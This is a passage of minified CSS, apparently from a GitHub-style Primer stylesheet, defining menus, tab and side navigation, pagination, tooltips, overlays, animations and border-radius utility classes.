!important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item .bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav .Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform .3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px 